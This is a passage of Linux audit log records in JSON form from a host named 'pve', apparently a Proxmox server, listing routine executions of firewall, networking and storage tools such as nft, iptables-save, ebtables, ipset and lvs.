cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PATH msg=audit(1781964710.359:62258): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705692,"@rawstring":"node=pve type=PATH msg=audit(1781964705.692:62257): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705692,"@rawstring":"node=pve type=PATH msg=audit(1781964705.692:62257): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705689,"@rawstring":"node=pve type=PATH msg=audit(1781964705.689:62256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705689,"@rawstring":"node=pve type=PATH msg=audit(1781964705.689:62256): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705687,"@rawstring":"node=pve type=PATH msg=audit(1781964705.687:62255): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705687,"@rawstring":"node=pve type=PATH msg=audit(1781964705.687:62255): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705687,"@rawstring":"node=pve type=PATH msg=audit(1781964705.687:62254): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705683,"@rawstring":"node=pve type=PATH msg=audit(1781964705.683:62253): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705683,"@rawstring":"node=pve type=PATH msg=audit(1781964705.683:62253): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705683,"@rawstring":"node=pve type=PATH msg=audit(1781964705.683:62253): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705677,"@rawstring":"node=pve type=PATH msg=audit(1781964705.677:62252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705677,"@rawstring":"node=pve type=PATH msg=audit(1781964705.677:62252): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705670,"@rawstring":"node=pve type=PATH msg=audit(1781964705.670:62251): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705670,"@rawstring":"node=pve type=PATH msg=audit(1781964705.670:62251): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705663,"@rawstring":"node=pve type=PATH msg=audit(1781964705.663:62250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705663,"@rawstring":"node=pve type=PATH msg=audit(1781964705.663:62250): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705657,"@rawstring":"node=pve type=PATH msg=audit(1781964705.657:62249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705657,"@rawstring":"node=pve type=PATH msg=audit(1781964705.657:62249): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705651,"@rawstring":"node=pve type=PATH msg=audit(1781964705.651:62247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705651,"@rawstring":"node=pve type=PATH msg=audit(1781964705.651:62247): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705646,"@rawstring":"node=pve type=PATH msg=audit(1781964705.646:62246): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705646,"@rawstring":"node=pve type=PATH msg=audit(1781964705.646:62246): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705640,"@rawstring":"node=pve type=PATH msg=audit(1781964705.640:62245): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705640,"@rawstring":"node=pve type=PATH msg=audit(1781964705.640:62245): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705634,"@rawstring":"node=pve type=PATH msg=audit(1781964705.634:62244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705634,"@rawstring":"node=pve type=PATH msg=audit(1781964705.634:62244): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705629,"@rawstring":"node=pve type=PATH msg=audit(1781964705.629:62243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705629,"@rawstring":"node=pve type=PATH msg=audit(1781964705.629:62243): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705624,"@rawstring":"node=pve type=PATH msg=audit(1781964705.624:62242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705624,"@rawstring":"node=pve type=PATH msg=audit(1781964705.624:62242): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705618,"@rawstring":"node=pve type=PATH msg=audit(1781964705.618:62241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705618,"@rawstring":"node=pve type=PATH msg=audit(1781964705.618:62241): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705612,"@rawstring":"node=pve type=PATH msg=audit(1781964705.612:62240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705612,"@rawstring":"node=pve type=PATH msg=audit(1781964705.612:62240): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705608,"@rawstring":"node=pve type=PATH msg=audit(1781964705.608:62239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705608,"@rawstring":"node=pve type=PATH msg=audit(1781964705.608:62239): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705605,"@rawstring":"node=pve type=PATH msg=audit(1781964705.605:62238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705605,"@rawstring":"node=pve type=PATH msg=audit(1781964705.605:62238): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705604,"@rawstring":"node=pve type=PATH msg=audit(1781964705.604:62237): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705604,"@rawstring":"node=pve type=PATH msg=audit(1781964705.604:62237): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705604,"@rawstring":"node=pve type=PATH msg=audit(1781964705.604:62236): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705600,"@rawstring":"node=pve type=PATH msg=audit(1781964705.600:62235): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705600,"@rawstring":"node=pve type=PATH msg=audit(1781964705.600:62235): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705600,"@rawstring":"node=pve type=PATH msg=audit(1781964705.600:62235): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705594,"@rawstring":"node=pve type=PATH msg=audit(1781964705.594:62234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705594,"@rawstring":"node=pve type=PATH msg=audit(1781964705.594:62234): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705587,"@rawstring":"node=pve type=PATH msg=audit(1781964705.587:62233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705587,"@rawstring":"node=pve type=PATH msg=audit(1781964705.587:62233): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705582,"@rawstring":"node=pve type=PATH msg=audit(1781964705.582:62232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705582,"@rawstring":"node=pve type=PATH msg=audit(1781964705.582:62232): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705576,"@rawstring":"node=pve type=PATH msg=audit(1781964705.576:62231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705576,"@rawstring":"node=pve type=PATH msg=audit(1781964705.576:62231): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705569,"@rawstring":"node=pve type=PATH msg=audit(1781964705.569:62230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705569,"@rawstring":"node=pve type=PATH msg=audit(1781964705.569:62230): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PATH msg=audit(1781964705.352:62229): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PATH msg=audit(1781964705.352:62229): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PATH msg=audit(1781964705.352:62228): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=PATH msg=audit(1781964705.352:62227): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PATH msg=audit(1781964705.344:62226): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PATH msg=audit(1781964705.344:62226): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PATH msg=audit(1781964705.344:62225): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=PATH msg=audit(1781964705.344:62224): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964704986,"@rawstring":"node=pve type=PATH msg=audit(1781964704.986:62223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964704986,"@rawstring":"node=pve type=PATH msg=audit(1781964704.986:62223): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964704952,"@rawstring":"node=pve type=PATH msg=audit(1781964704.952:62222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964704952,"@rawstring":"node=pve type=PATH msg=audit(1781964704.952:62222): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PATH msg=audit(1781964700.336:62221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PATH msg=audit(1781964700.336:62221): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PATH msg=audit(1781964700.336:62220): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700336,"@rawstring":"node=pve type=PATH msg=audit(1781964700.336:62219): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PATH msg=audit(1781964700.328:62218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PATH msg=audit(1781964700.328:62218): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PATH msg=audit(1781964700.328:62217): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964700328,"@rawstring":"node=pve type=PATH msg=audit(1781964700.328:62216): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=PATH msg=audit(1781964699.877:62215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=PATH msg=audit(1781964699.877:62215): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=PATH msg=audit(1781964699.877:62214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=PATH msg=audit(1781964699.877:62214): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699876,"@rawstring":"node=pve type=PATH msg=audit(1781964699.876:62213): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964699876,"@rawstring":"node=pve type=PATH msg=audit(1781964699.876:62213): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695560,"@rawstring":"node=pve type=PATH msg=audit(1781964695.560:62212): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695560,"@rawstring":"node=pve type=PATH msg=audit(1781964695.560:62212): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695557,"@rawstring":"node=pve type=PATH msg=audit(1781964695.557:62211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695557,"@rawstring":"node=pve type=PATH msg=audit(1781964695.557:62211): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695556,"@rawstring":"node=pve type=PATH msg=audit(1781964695.556:62210): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695556,"@rawstring":"node=pve type=PATH msg=audit(1781964695.556:62210): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695556,"@rawstring":"node=pve type=PATH msg=audit(1781964695.556:62209): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695552,"@rawstring":"node=pve type=PATH msg=audit(1781964695.552:62208): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695552,"@rawstring":"node=pve type=PATH msg=audit(1781964695.552:62208): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695552,"@rawstring":"node=pve type=PATH msg=audit(1781964695.552:62208): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695546,"@rawstring":"node=pve type=PATH msg=audit(1781964695.546:62207): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695546,"@rawstring":"node=pve type=PATH msg=audit(1781964695.546:62207): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695540,"@rawstring":"node=pve type=PATH msg=audit(1781964695.540:62206): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695540,"@rawstring":"node=pve type=PATH msg=audit(1781964695.540:62206): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 